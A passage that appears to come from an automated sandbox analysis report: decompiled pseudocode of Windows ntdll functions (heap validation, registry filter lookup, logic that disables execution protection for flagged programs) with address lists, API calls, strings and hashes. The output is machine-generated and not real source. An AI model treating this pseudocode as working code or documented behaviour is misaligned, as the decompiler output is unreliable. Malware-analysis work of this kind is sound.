										if(_t232 != 0) {
											goto L82;
										}
										E6A93A309(_t307, _t414,  *_t414 & 0x0000ffff, 1);
										goto L93;
									}
									_t323 =  *_t414 & 0x0000ffff;
									while(1) {
										__eflags = _t323 -  *((intOrPtr*)(_t386 + 4));
										if(_t323 <  *((intOrPtr*)(_t386 + 4))) {
											break;
										}
										_t235 =  *_t386;
										__eflags = _t235;
										if(_t235 == 0) {
											_t237 =  *((intOrPtr*)(_t386 + 4)) - 1;
											__eflags =  *((intOrPtr*)(_t386 + 4)) - 1;
											L78:
											_t111 =  &(_t414[4]); // -16
											E6A93BC04(_t307, _t386, 1, _t111, _t237, _t323);
											goto L79;
										}
										_t386 = _t235;
									}
									_t237 = _t323;
									goto L78;
								}
							}
							return _t414;
						}
						_t398 =  *(_t307 + 0x50) ^  *_t420;
						_t347 = _t398 >> 0x00000010 ^ _t398 >> 0x00000008 ^ _t398;
						if(_t398 >> 0x18 != _t347) {
							_push(_t347);
							_push(0);
							_push(0);
							_push(_t420);
							_push(3);
							goto L64;
						}
						goto L6;
					} else {
						_t277 =  *_t419 & 0x0000ffff;
						_v16 = _t277;
						while(1) {
							__eflags = _t277 -  *((intOrPtr*)(_t404 + 4));
							if(_t277 <  *((intOrPtr*)(_t404 + 4))) {
								break;
							}
							_t279 =  *_t404;
							__eflags = _t279;
							if(_t279 == 0) {
								_t277 =  *((intOrPtr*)(_t404 + 4)) - 1;
								__eflags =  *((intOrPtr*)(_t404 + 4)) - 1;
								break;
							} else {
								_t404 = _t279;
								_t277 =  *_t419 & 0x0000ffff;
								continue;
							}
						}
						E6A93BC04(_t307, _t404, 1, _t350, _t277, _v16);
						goto L20;
					}
				}
			}

0x6a9399ca
0x6a9399cc
0x6a9399df
0x6a9399e3
0x6a9399f8
0x6a9399fb
0x6a9399fb
0x00000000
0x6a939a48
0x6a939a48
0x6a939a4c
0x6a939a51
0x6a939a55
0x6a939a61
0x6a939a66
0x6a939a68
0x6a981457
0x6a98145c
0x6a98145c
0x6a939a68
0x6a939a6e
0x6a939a71
0x6a939a74
0x6a939a76
0x6a981466
0x6a981469
0x6a981469
0x6a98146c
0x6a98146e
0x6a981471
0x6a981474
0x6a981477
0x6a981479
0x6a98159c
0x6a98159c
0x6a98159d
0x6a9815a6
0x6a9815ab
0x6a9815ab
0x00000000
0x6a9815ab
0x6a98147f
0x6a981481
0x00000000
0x00000000
0x6a98148a
0x6a98148d
0x6a981493
0x6a981495
0x6a9814c0
0x6a9814c0
0x6a9814c3
0x6a9814c6
0x6a9814c8
0x6a9814cb
0x6a9814cf
0x6a9814f2
0x6a9814f2
0x6a9814f5
0x6a9814f8
0x6a981501
0x6a981508
0x6a98150b
0x6a98150e
0x6a981510
0x6a981513
0x6a981515
0x6a981515
0x6a981518
0x6a981518
0x6a981513
0x6a981521
0x6a981525
0x6a98152a
0x6a98152d
0x6a981530
0x6a981532
0x6a981539
0x6a98153d
0x6a98155d
0x6a981562
0x6a98153f
0x6a981555
0x6a98155a
0x6a981570
0x6a981577
0x6a98157c
0x6a981582
0x6a981585
0x6a981589
0x6a98158b
0x6a981592
0x6a981593
0x6a981593
0x6a981589
0x6a981530
0x00000000
0x6a9814f8
0x6a9814d5
0x6a9814da
0x6a9814dc
0x00000000
0x6a9814de
0x6a9814e8
0x00000000
0x6a9814e8
0x6a981497
0x6a981497
0x6a9814a4
0x6a9814a4
0x6a9814a7
0x6a9814a9
0x6a9814ab
0x6a9814ab
0x6a98149c
0x6a98149e
0x6a9814a0
0x6a9814b0
0x6a9814b0
0x00000000
0x6a9814a2
0x6a9814a2
0x00000000
0x6a9814a2
0x6a9814a0
0x6a9814b3
0x6a9814bb
0x00000000
0x6a9814bb
0x6a981495
0x6a939a7c
0x6a939a7c
0x6a939a7f
0x6a939a7f
0x6a939a82
0x6a939a84
0x6a939a87
0x6a939a8a
0x6a939a8d
0x6a939a8f
0x6a98166a
0x6a98166a
0x6a98166b
0x6a981674
0x00000000
0x6a981674
0x6a939a95
0x6a939a97
0x00000000
0x00000000
0x6a939aa0
0x6a939aa3
0x6a939aa9
0x6a939aab
0x6a939ad7
0x6a939ad7
0x6a939ada
0x6a939add
0x6a939adf
0x6a939ae2
0x6a939ae6
0x6a939b22
0x6a939b27
0x6a939b29
0x00000000
0x6a939b2b
0x6a9815be
0x00000000
0x6a9815be
0x6a939b29
0x6a939ae8
0x6a939ae8
0x6a939aeb
0x6a939aee
0x6a9815cb
0x6a9815d2
0x6a9815d5
0x6a9815d7
0x6a9815da
0x6a9815dc
0x6a9815dc
0x6a9815dc
0x6a9815da
0x6a9815e5
0x6a9815e9
0x6a9815ee
0x6a9815f1
0x6a9815f3
0x6a9815f9
0x6a981600
0x6a981604
0x6a981624
0x6a981629
0x6a981606
0x6a98161c
0x6a981621
0x6a981637
0x6a98163e
0x6a981643
0x6a981649
0x6a98164c
0x6a981650
0x6a981656
0x6a98165d
0x6a98165e
0x6a98165e
0x6a981650
0x6a9815f3
0x6a939af4
0x6a939af7
0x6a939afc
0x6a939b00
0x6a939b04
0x6a939b08
0x6a939b14
0x6a9399fe
0x6a939a04
0x6a939a07
0x00000000
0x6a939a29
0x6a98169c
0x6a9816a0
0x6a9816a5
0x6a9816a9
0x6a9816b5
0x6a9816ba
0x6a9816bc
0x6a9816be
0x6a9816c3
0x6a9816c3
0x6a9816bc
0x6a9816c8
0x6a9816cc
0x6a98181b
0x6a98181b
0x6a98181e
0x6a98181e
0x6a981821
0x6a981823
0x6a981826
0x6a981829
0x6a98182c
0x6a98182e
0x6a981688
0x6a981688
0x6a981689
0x6a98168b
0x6a98168c
0x6a98168d
0x6a98168f
0x6a981692
0x00000000
0x6a981692
0x6a981834
0x6a981836
0x00000000
0x00000000
0x6a98183f
0x6a981842
0x6a981848
0x6a98184a
0x6a981875
0x6a981875
0x6a981878
0x6a98187b
0x6a98187d
0x6a981880
0x6a981884
0x6a9818a7
0x6a9818a7
0x6a9818aa
0x6a9818ad
0x6a9818b6
0x6a9818bd
0x6a9818c0
0x6a9818c3
0x6a9818c5
0x6a9818c8
0x6a9818ca
0x6a9818ca
0x6a9818cd
0x6a9818cd
0x6a9818c8
0x6a9818d5
0x6a9818da
0x6a9818df
0x6a9818e2
0x6a9818e5
0x6a9818e7
0x6a9818ee
0x6a9818f2
0x6a981912
0x6a981917
0x6a9818f4
0x6a98190a
0x6a98190f
0x6a981925
0x6a98192c
0x6a981931
0x6a98193a
0x6a98193e
0x6a981940
0x6a981947
0x6a981948
0x6a981948
0x6a98193e
0x6a9818e5
0x6a98194f
0x6a981952
0x6a981956
0x6a98195d
0x6a981961
0x6a98196d
0x00000000
0x6a98196d
0x6a98188a
0x6a98188f
0x6a981891
0x00000000
0x00000000
0x6a98189d
0x00000000
0x6a98189d
0x6a98184c
0x6a981859
0x6a981859
0x6a98185c
0x00000000
0x00000000
0x6a981851
0x6a981853
0x6a981855
0x6a981865
0x6a981865
0x6a981866
0x6a981868
0x6a981870
0x00000000
0x6a981870
0x6a981857
0x6a981857
0x6a98185e
0x00000000
0x6a9816d2
0x6a9816d2
0x6a9816d5
0x6a9816d5
0x6a9816d8
0x6a9816da
0x6a9816dd
0x6a9816e0
0x6a9816e3
0x6a9816e5
0x6a981808
0x6a981808
0x6a981809
0x6a981812
0x6a981817
0x6a981817
0x00000000
0x6a981817
0x6a9816eb
0x6a9816ed
0x00000000
0x00000000
0x6a9816f6
0x6a9816f9
0x6a9816ff
0x6a981701
0x6a98172c
0x6a98172c
0x6a98172f
0x6a981732
0x6a981734
0x6a981737
0x6a98173b
0x6a98175e
0x6a98175e
0x6a981761
0x6a981764
0x6a98176d
0x6a981774
0x6a981777
0x6a98177a
0x6a98177c
0x6a98177f
0x6a981781
0x6a981781
0x6a981784
0x6a981784
0x6a98177f
0x6a98178c
0x6a981791
0x6a981796
0x6a981799
0x6a98179c
0x6a98179e
0x6a9817a5
0x6a9817a9
0x6a9817c9
0x6a9817ce
0x6a9817ab
0x6a9817c1
0x6a9817c6
0x6a9817dc
0x6a9817e3
0x6a9817e8
0x6a9817ee
0x6a9817f1
0x6a9817f5
0x6a9817f7
0x6a9817fe
0x6a9817ff
0x6a9817ff
0x6a9817f5
0x6a98179c
0x00000000
0x6a981764
0x6a981741
0x6a981746
0x6a981748
0x00000000
0x00000000
0x6a981754
0x00000000
0x6a981754
0x6a981703
0x6a981710
0x6a981710
0x6a981713
0x00000000
0x00000000
0x6a981708
0x6a98170a
0x6a98170c
0x6a98171c
0x6a98171c
0x6a98171d
0x6a98171f
0x6a981727
0x00000000
0x6a981727
0x6a98170e
0x6a98170e
0x6a981715
0x00000000
0x6a981715
0x6a9816cc
0x6a939a45
0x6a939a45
0x6a939a0e
0x6a939a1c
0x6a939a23
0x6a98167e
0x6a98167f
0x6a981681
0x6a981683
0x6a981684
0x00000000
0x6a981684
0x00000000
0x6a939aad
0x6a939aad
0x6a939ab0
0x6a939ab3
0x6a939ab3
0x6a939ab6
0x00000000
0x00000000
0x6a939ab8
0x6a939aba
0x6a939abc
0x6a939ac8
0x6a939ac8
0x00000000
0x6a939abe
0x6a939abe
0x6a939ac0
0x00000000
0x6a939ac0
0x6a939abc
0x6a939ad2
0x00000000
0x6a939ad2
0x6a939aab

Strings

HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 6A981572, 6A981639, 6A9817DE, 6A981927
HEAP: , xrefs: 6A98155D, 6A981624, 6A9817C9, 6A981912
HEAP[%wZ]: , xrefs: 6A981550, 6A981617, 6A9817BC, 6A981905

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: 6feb5f9a178d1eccf1021eb436c03d6066cca78f4a600cf083c1794b523ea66b
Instruction ID: 788989181d0434f8d08ea4c2341eda8ad1c87aaf69afc1197d09a5e5c6d0b95d
Opcode Fuzzy Hash: 6feb5f9a178d1eccf1021eb436c03d6066cca78f4a600cf083c1794b523ea66b
Instruction Fuzzy Hash: 1322E2B06042459FDB14CF28C494B6AB7F9EF46708F358969E4A6CB342EF75D881CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6A918239, Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 233
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E6A918239(signed int* __ecx, long* __edx, signed int _a4) {
				signed int _v12;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				char _v560;
				signed int _v564;
				long _v568;
				long _v572;
				intOrPtr _v576;
				short _v578;
				void* _v580;
				signed int _v584;
				intOrPtr _v586;
				void* _v588;
				void* _v592;
				void* _v596;
				intOrPtr _v600;
				long* _v604;
				signed int* _v608;
				intOrPtr _v612;
				short _v614;
				void* _v616;
				signed int _v620;
				signed int _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				signed int _v636;
				char _v640;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t94;
				void* _t99;
				long _t118;
				intOrPtr _t125;
				short _t126;
				signed int* _t137;
				void* _t138;
				intOrPtr _t143;
				void* _t145;
				void* _t147;
				void* _t148;
				void* _t150;
				signed int _t151;
				void* _t152;
				signed int _t154;

				_t149 = __edx;
				_v12 =  *0x6aa0d360 ^ _t154;
				_v564 = _v564 & 0x00000000;
				_t151 = _a4;
				_t137 = __ecx;
				_v604 = __edx;
				_v608 = __ecx;
				_t150 = 0;
				_v568 = 0x220;
				_v592 =  &_v560;
				if(E6A926D30( &_v580, L"UseFilter") < 0) {
					L4:
					return E6A95B640(_t89, _t137, _v12 ^ _t154, _t149, _t150, _t151);
				}
				_push( &_v572);
				_push(0x220);
				_push( &_v560);
				_push(2);
				_push( &_v580);
				_push( *_t137);
				_t89 = E6A959650();
				if(_t89 >= 0) {
					if(_v556 != 4 || _v552 != 4 || _v548 == 0) {
						L3:
						_t89 = 0;
					} else {
						_t94 =  *_t151;
						_t151 =  *(_t151 + 4);
						_v588 = _t94;
						_v584 = _t151;
						if(E6A926D30( &_v580, L"\\??\\") < 0) {
							goto L4;
						}
						if(RtlPrefixUnicodeString( &_v580,  &_v588, 1) != 0) {
							_v588 = _v588 + 0xfff8;
							_v586 = _v586 + 0xfff8;
							_v584 = _t151 + 8;
						}
						_t99 =  &_v560;
						_t143 = 0;
						_v596 = _t99;
						_v600 = 0;
						do {
							_t149 =  &_v572;
							_push( &_v572);
							_push(_v568);
							_push(_t99);
							_push(0);
							_push(_t143);
							_push( *_t137);
							_t151 = E6A959820();
							if(_t151 < 0) {
								goto L37;
							}
							_t145 = _v596;
							_v580 =  *((intOrPtr*)(_t145 + 0xc));
							_v624 = _v624 & 0x00000000;
							_v620 = _v620 & 0x00000000;
							_v578 =  *((intOrPtr*)(_t145 + 0xc));
							_v576 = _t145 + 0x10;
							_v636 =  *_t137;
							_v632 =  &_v580;
							_push( &_v640);
							_push(_v604);
							_v640 = 0x18;
							_push( &_v564);
							_v628 = 0x240;
							_t151 = E6A959600();
							if(_t151 < 0) {
								goto L37;
							}
							_t151 = E6A926D30( &_v580, L"FilterFullPath");
							if(_t151 < 0) {
								L36:
								_push(_v564);
								E6A9595D0();
								goto L37;
							}
							_t138 = _v592;
							_t118 = _v568;
							do {
								_push( &_v572);
								_push(_t118);
								_push(_t138);
								_push(2);
								_push( &_v580);
								_push(_v564);
								_t152 = E6A959650();
								if(_t152 == 0x80000005 || _t152 == 0xc0000023) {
									if(_t150 != 0) {
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t150);
									}
									_t147 =  *( *[fs:0x30] + 0x18);
									if(_t147 != 0) {
										_t150 = RtlAllocateHeap(_t147,  *0x6aa07b9c + 0x180000, _v572);
										if(_t150 == 0) {
											goto L25;
										}
										_t118 = _v572;
										_t138 = _t150;
										_v596 = _t150;
										_v568 = _t118;
										goto L27;
									} else {
										_t150 = 0;
										L25:
										_t151 = 0xc0000017;
										goto L26;
									}
								} else {
									L26:
									_t118 = _v568;
								}
								L27:
							} while (_t151 == 0x80000005 || _t151 == 0xc0000023);
							_v592 = _t138;
							_t137 = _v608;
							if(_t151 >= 0) {
								_t148 = _v592;
								if( *((intOrPtr*)(_t148 + 4)) != 1) {
									goto L36;
								}
								_t125 =  *((intOrPtr*)(_t148 + 8));
								if(_t125 > 0xfffe) {
									goto L36;
								}
								_t126 = _t125 + 0xfffffffe;
								_v616 = _t126;
								_v614 = _t126;
								_v612 = _t148 + 0xc;
								if(RtlCompareUnicodeString( &_v588,  &_v616, 1) == 0) {
									break;
								}
								goto L36;
							}
							_push(_v564);
							E6A9595D0();
							_t65 = _t151 + 0x3fffffcc; // 0x3fffffcc
							asm("sbb eax, eax");
							_t151 = _t151 &  ~_t65;
							L37:
							_t99 = _v596;
							_t143 = _v600 + 1;
							_v600 = _t143;
						} while (_t151 >= 0);
						if(_t150 != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t150);
						}
						if(_t151 >= 0) {
							_push( *_t137);
							E6A9595D0();
							 *_t137 = _v564;
						}
						_t85 = _t151 + 0x7fffffe6; // 0x7fffffe6
						asm("sbb eax, eax");
						_t89 =  ~_t85 & _t151;
					}
					goto L4;
				}
				if(_t89 != 0xc0000034) {
					if(_t89 == 0xc0000023) {
						goto L3;
					}
					if(_t89 != 0x80000005) {
						goto L4;
					}
				}
				goto L3;
			}

0x6a918239
0x6a91824b
0x6a91824e
0x6a91825d
0x6a918260
0x6a91826e
0x6a918275
0x6a91827b
0x6a91827d
0x6a918287
0x6a918294
0x6a9182ce
0x6a9182de
0x6a9182de
0x6a91829c
0x6a91829d
0x6a9182a8
0x6a9182a9
0x6a9182b1
0x6a9182b2
0x6a9182b4
0x6a9182bb
0x6a972dfa
0x6a9182cc
0x6a9182cc
0x6a972e19
0x6a972e19
0x6a972e1b
0x6a972e1e
0x6a972e30
0x6a972e3d
0x00000000
0x00000000
0x6a972e5a
0x6a972e61
0x6a972e68
0x6a972e72
0x6a972e72
0x6a972e78
0x6a972e7e
0x6a972e80
0x6a972e86
0x6a972e8c
0x6a972e8c
0x6a972e92
0x6a972e93
0x6a972e99
0x6a972e9a
0x6a972e9c
0x6a972e9d
0x6a972ea4
0x6a972ea8
0x00000000
0x00000000
0x6a972eae
0x6a972eb8
0x6a972ec3
0x6a972eca
0x6a972ed1
0x6a972edb
0x6a972ee3
0x6a972eef
0x6a972efb
0x6a972efc
0x6a972f08
0x6a972f12
0x6a972f13
0x6a972f22
0x6a972f26
0x00000000
0x00000000
0x6a972f3d
0x6a972f41
0x6a973069
0x6a973069
0x6a97306f
0x00000000
0x6a97306f
0x6a972f47
0x6a972f4d
0x6a972f53
0x6a972f59
0x6a972f5a
0x6a972f5b
0x6a972f5c
0x6a972f64
0x6a972f65
0x6a972f70
0x6a972f78
0x6a972f84
0x6a972f92
0x6a972f92
0x6a972f9d
0x6a972fa2
0x6a973004
0x6a973008
0x00000000
0x00000000
0x6a97300a
0x6a973010
0x6a973012
0x6a973018
0x00000000
0x6a972fa4
0x6a972fa4
0x6a972fa6
0x6a972fa6
0x00000000
0x6a972fa6
0x6a972fab
0x6a972fab
0x6a972fab
0x6a972fab
0x6a972fb1
0x6a972fb1
0x6a972fc1
0x6a972fc7
0x6a972fcf
0x6a973020
0x6a97302a
0x00000000
0x00000000
0x6a97302c
0x6a973034
0x00000000
0x00000000
0x6a973036
0x6a973039
0x6a973040
0x6a97304a
0x6a973067
0x00000000
0x00000000
0x00000000
0x6a973067
0x6a972fd1
0x6a972fd7
0x6a972fdc
0x6a972fe4
0x6a972fe6
0x6a973074
0x6a97307a
0x6a973080
0x6a973081
0x6a973087
0x6a973091
0x6a97309f
0x6a97309f
0x6a9730a6
0x6a9730a8
0x6a9730aa
0x6a9730b5
0x6a9730b5
0x6a9730b7
0x6a9730bf
0x6a9730c1
0x6a9730c1
0x00000000
0x6a972dfa
0x6a9182c6
0x6a972ddd
0x00000000
0x00000000
0x6a972de8
0x00000000
0x00000000
0x6a972dee
0x00000000

APIs

RtlInitUnicodeStringEx.1105(?,UseFilter,?,00000000,?), ref: 6A91828D
ZwQueryValueKey.1105(?,?,00000002,?,00000220,?,?,UseFilter,?,00000000,?), ref: 6A9182B4
RtlInitUnicodeStringEx.1105(?,\??\,?,?,00000002,?,00000220,?,?,UseFilter,?,00000000,?), ref: 6A972E36
RtlPrefixUnicodeString.1105(?,?,00000001,?,\??\,?,?,00000002,?,00000220,?,?,UseFilter,?,00000000,?), ref: 6A972E53
ZwEnumerateKey.1105(?,00000000,00000000,?,00000220,?,?,?,00000001,?,\??\,?,?,00000002,?,00000220), ref: 6A972E9F
ZwOpenKey.1105(00000000,?,?,?,00000000,00000000,?,00000220,?,?,?,00000001,?,\??\,?,?), ref: 6A972F1D
RtlInitUnicodeStringEx.1105(?,FilterFullPath,00000000,?,?,?,00000000,00000000,?,00000220,?,?,?,00000001,?,\??\), ref: 6A972F38
ZwQueryValueKey.1105(00000000,?,00000002,?,00000220,?,?,FilterFullPath,00000000,?,?,?,00000000,00000000,?,00000220), ref: 6A972F6B
RtlFreeHeap.1105(?,00000000,00000000,00000000,?,00000002,?,00000220,?,?,FilterFullPath,00000000,?,?,?,00000000), ref: 6A972F92

Strings

FilterFullPath, xrefs: 6A972F2C
UseFilter, xrefs: 6A918263
\??\, xrefs: 6A972E2A

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$Init$QueryValue$EnumerateFreeHeapOpenPrefix
String ID: FilterFullPath$UseFilter$\??\
API String ID: 941260810-2779062949
Opcode ID: 993e5beeb525428693cd65dc0398164635777ee4e83fbe9fafeb4adf510caa7f
Instruction ID: 4b2a1ca6c35979edf91af6b386b706e3a224b62bda4e4c569ea0e5159ecfe65d
Opcode Fuzzy Hash: 993e5beeb525428693cd65dc0398164635777ee4e83fbe9fafeb4adf510caa7f
Instruction Fuzzy Hash: 9DA18D719116299FDB31CF24CC88BAAB7B8EF44704F2141EAE918A7250DB35DE84CF60

Uniqueness

Uniqueness Score: -1.00%

Function 6A9140FD, Relevance: 31.7, APIs: 11, Strings: 7, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E6A9140FD(void* __ecx) {
				signed int _v8;
				long _v548;
				signed int _v552;
				char _v556;
				unsigned int _v560;
				char _v564;
				char _v568;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed char _t53;
				unsigned int _t66;
				void* _t68;
				wchar_t* _t73;
				intOrPtr _t77;
				short* _t85;
				wchar_t* _t98;
				signed int _t102;
				signed int _t103;
				void* _t105;
				signed int _t107;
				void* _t108;
				void* _t110;
				void* _t111;
				void* _t112;

				_t45 =  *0x6aa0d360 ^ _t107;
				_v8 =  *0x6aa0d360 ^ _t107;
				_t105 = __ecx;
				if( *0x6aa084d4 == 0) {
					L5:
					return E6A95B640(_t45, _t85, _v8 ^ _t107, _t102, _t105, _t106);
				}
				_t85 = 0;
				E6A92E9C0(3,  *((intOrPtr*)(__ecx + 0x18)), 0, 0,  &_v564);
				if(( *0x7ffe02d5 & 0x00000003) == 0) {
					_t45 = 0;
				} else {
					_t45 =  *(_v564 + 0x5f) & 0x00000001;
				}
				if(_t45 == 0) {
					_v552 = _t85;
					if(E6A9142EB(_t105) != 0) {
						L15:
						_t103 = 2;
						_v552 = _t103;
						L10:
						if(( *0x7ffe02d5 & 0x0000000c) == 4) {
							_t45 = 1;
						} else {
							_t53 = E6A9141EA(_v564);
							asm("sbb al, al");
							_t45 =  ~_t53 + 1;
						}
						if(_t45 == 0) {
							_t102 = _t103 | 0x00000040;
							_v552 = _t102;
						}
						if(_t102 != 0) {
							L33:
							_push(4);
							_push( &_v552);
							_push(0x22);
							_push(0xffffffff);
							_t45 = E6A9596C0();
						}
						goto L4;
					}
					_v556 = _t85;
					_t102 =  &_v556;
					if(E6A91429E(_t105 + 0x2c, _t102) >= 0) {
						if(_v556 == _t85) {
							goto L8;
						}
						_t85 = _t105 + 0x24;
						E6A9A5720(0x55, 3, "CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions\n", _v556);
						_v560 = 0x214;
						memset( &_v548, 0, 0x214);
						_t106 =  *0x6aa084d4;
						_t110 = _t108 + 0x20;
						 *0x6aa0b1e0( *((intOrPtr*)(_t105 + 0x28)),  *((intOrPtr*)(_t105 + 0x18)),  *((intOrPtr*)(_t105 + 0x20)), L"ExecuteOptions",  &_v568,  &_v548,  &_v560, _t85);
						if( *( *0x6aa084d4)() == 0) {
							goto L8;
						}
						_t66 = _v560;
						if(_t66 == 0 || _t66 >= 0x214) {
							goto L8;
						} else {
							_t68 = (_t66 >> 1) * 2 - 2;
							if(_t68 >= 0x214) {
								E6A95B75A();
								goto L33;
							}
							_push(_t85);
							 *((short*)(_t107 + _t68 - 0x220)) = 0;
							E6A9A5720(0x55, 3, "CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database\n",  &_v548);
							_t111 = _t110 + 0x14;
							_t73 = wcsstr( &_v548, L"Execute=1");
							_push(_t85);
							if(_t73 == 0) {
								E6A9A5720(0x55, 3, "CLIENT(ntdll): Processing %ws for patching section protection for %wZ\n",  &_v548);
								_t106 =  &_v548;
								_t98 = _t106;
								_t112 = _t111 + 0x14;
								_t77 = _t98 + _v560;
								_v556 = _t77;
								if(_t98 >= _t77) {
									goto L8;
								} else {
									goto L27;
								}
								do {
									L27:
									_t85 = wcschr(_t106, 0x20);
									if(_t85 != 0) {
										 *_t85 = 0;
									}
									E6A9A5720(0x55, 3, "CLIENT(ntdll): Processing section info %ws...\n", _t106);
									_t112 = _t112 + 0x10;
									E6A993E13(_t105, _t106);
									if(_t85 == 0) {
										goto L8;
									}
									_t41 = _t85 + 2; // 0x2
									_t106 = _t41;
								} while (_t106 < _v556);
								goto L8;
							}
							_push("CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ\n");
							_push(3);
							_push(0x55);
							E6A9A5720();
							goto L15;
						}
					}
					L8:
					if(E6A9141F7(_t105) != 0) {
						goto L15;
					}
					_t103 = _v552;
					goto L10;
				} else {
					L4:
					 *(_t105 + 0x34) =  *(_t105 + 0x34) | 0x80000000;
					goto L5;
				}
			}

0x6a91410d
0x6a91410f
0x6a91411c
0x6a91411e
0x6a914158
0x6a914168
0x6a914168
0x6a914126
0x6a914130
0x6a91413c
0x6a9704a2
0x6a914142
0x6a91414b
0x6a91414b
0x6a91414f
0x6a91416b
0x6a914178
0x6a9141d0
0x6a9141d2
0x6a9141d3
0x6a9141a7
0x6a9141b0
0x6a9141db
0x6a9141b2
0x6a9141b8
0x6a9141bf
0x6a9141c1
0x6a9141c1
0x6a9141c5
0x6a9141df
0x6a9141e2
0x6a9141e2
0x6a9141c9
0x6a970628
0x6a970628
0x6a970630
0x6a970631
0x6a970633
0x6a970635
0x6a970635
0x00000000
0x6a9141c9
0x6a91417d
0x6a914183
0x6a914190
0x6a9704af
0x00000000
0x00000000
0x6a9704b5
0x6a9704c8
0x6a9704d5
0x6a9704e5
0x6a9704ea
0x6a9704f6
0x6a970518
0x6a970522
0x00000000
0x00000000
0x6a970528
0x6a970530
0x00000000
0x6a970543
0x6a970545
0x6a97054e
0x6a970623
0x00000000
0x6a970623
0x6a970556
0x6a970557
0x6a97056f
0x6a970574
0x6a970583
0x6a97058a
0x6a97058d
0x6a9705b5
0x6a9705c0
0x6a9705c6
0x6a9705c8
0x6a9705cb
0x6a9705cd
0x6a9705d5
0x00000000
0x00000000
0x00000000
0x00000000
0x6a9705db
0x6a9705db
0x6a9705e3
0x6a9705e9
0x6a9705ed
0x6a9705ed
0x6a9705fa
0x6a9705ff
0x6a970606
0x6a97060d
0x00000000
0x00000000
0x6a970613
0x6a970613
0x6a970616
0x00000000
0x6a97061e
0x6a97058f
0x6a970594
0x6a970596
0x6a970598
0x00000000
0x6a97059d
0x6a970530
0x6a914196
0x6a91419f
0x00000000
0x00000000
0x6a9141a1
0x00000000
0x6a914151
0x6a914151
0x6a914151
0x00000000
0x6a914151

APIs

RtlImageNtHeaderEx.1105(00000003,?,00000000,00000000,?), ref: 6A914130
ZwSetInformationProcess.1105(000000FF,00000022,?,00000004,00000003,?,00000000,00000000,?), ref: 6A970635

Strings

CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 6A9704BF
Execute=1, xrefs: 6A97057D
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 6A97058F
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 6A970566
ExecuteOptions, xrefs: 6A97050A
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 6A9705AC
CLIENT(ntdll): Processing section info %ws..., xrefs: 6A9705F1

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: HeaderImageInformationProcess
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 4034523672-484625025
Opcode ID: 8076b5c9d5837fb45cee18e4c7cadecee4d2b320e8380eb0a9ad9093ef111449
Instruction ID: c4c7be62e88f636f5237c795f260bab69a24aa8c2627a570e7fd6eb9ed0cafde
Opcode Fuzzy Hash: 8076b5c9d5837fb45cee18e4c7cadecee4d2b320e8380eb0a9ad9093ef111449
Instruction Fuzzy Hash: 4D6116B164421D7AEF20DA94DCC9BA973BCAF79308F210499D514A7182EF70DE45CF60

Uniqueness

Uniqueness Score: -1.00%

Function 6A9CCF70, Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 171
nativeCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E6A9CCF70(void* __ecx, intOrPtr _a4, intOrPtr _a8, unsigned int* _a12) {
				char _v16;
				char _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v36;
				char _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				intOrPtr _v76;
				intOrPtr _t61;
				char _t92;
				unsigned int* _t94;
				void* _t104;
				char _t105;
				unsigned int _t107;
				intOrPtr _t109;

				_v44 = 7;
				_t92 = 0;
